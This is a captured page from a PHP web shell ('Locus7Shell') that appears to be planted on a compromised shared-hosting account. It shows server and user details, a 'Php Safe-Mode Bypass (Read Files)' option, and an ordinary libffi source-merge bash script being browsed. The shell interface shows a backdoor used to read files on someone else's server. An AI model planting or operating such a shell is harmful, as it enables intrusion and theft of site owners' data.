![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libffi/ drwxr-xr-x |
Viewing file: Select action/file-type: #!/bin/bash # FIXME: do we need a license (or whatever else) header here? # This script merges libffi sources from upstream. # Default to the tip of master branch. commit=${1-master} fatal() { echo "$1" exit 1; } get_upstream() { rm -rf upstream git clone https://github.com/libffi/libffi.git upstream pushd upstream git checkout $commit || fatal "Failed to checkout $commit" popd } get_current_rev() { cd upstream git rev-parse HEAD } pwd | grep 'libffi$' || \ fatal "Run this script from the libffi directory" get_upstream CUR_REV=$(get_current_rev) echo Current upstream revision: $CUR_REV # Remove the unused files. pushd upstream rm -rf ChangeLog.old .appveyor* .ci .github .gitignore .travis* \ config.guess config.sub libtool-ldflags m4 make_sunver.pl \ msvc_build rm -rf .git autogen.sh cp -a . .. popd rm -rf upstream # Update the MERGE file. cat << EOF > MERGE $CUR_REV The first line of this file holds the git revision number of the last merge done from the master library sources. EOF |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]-- |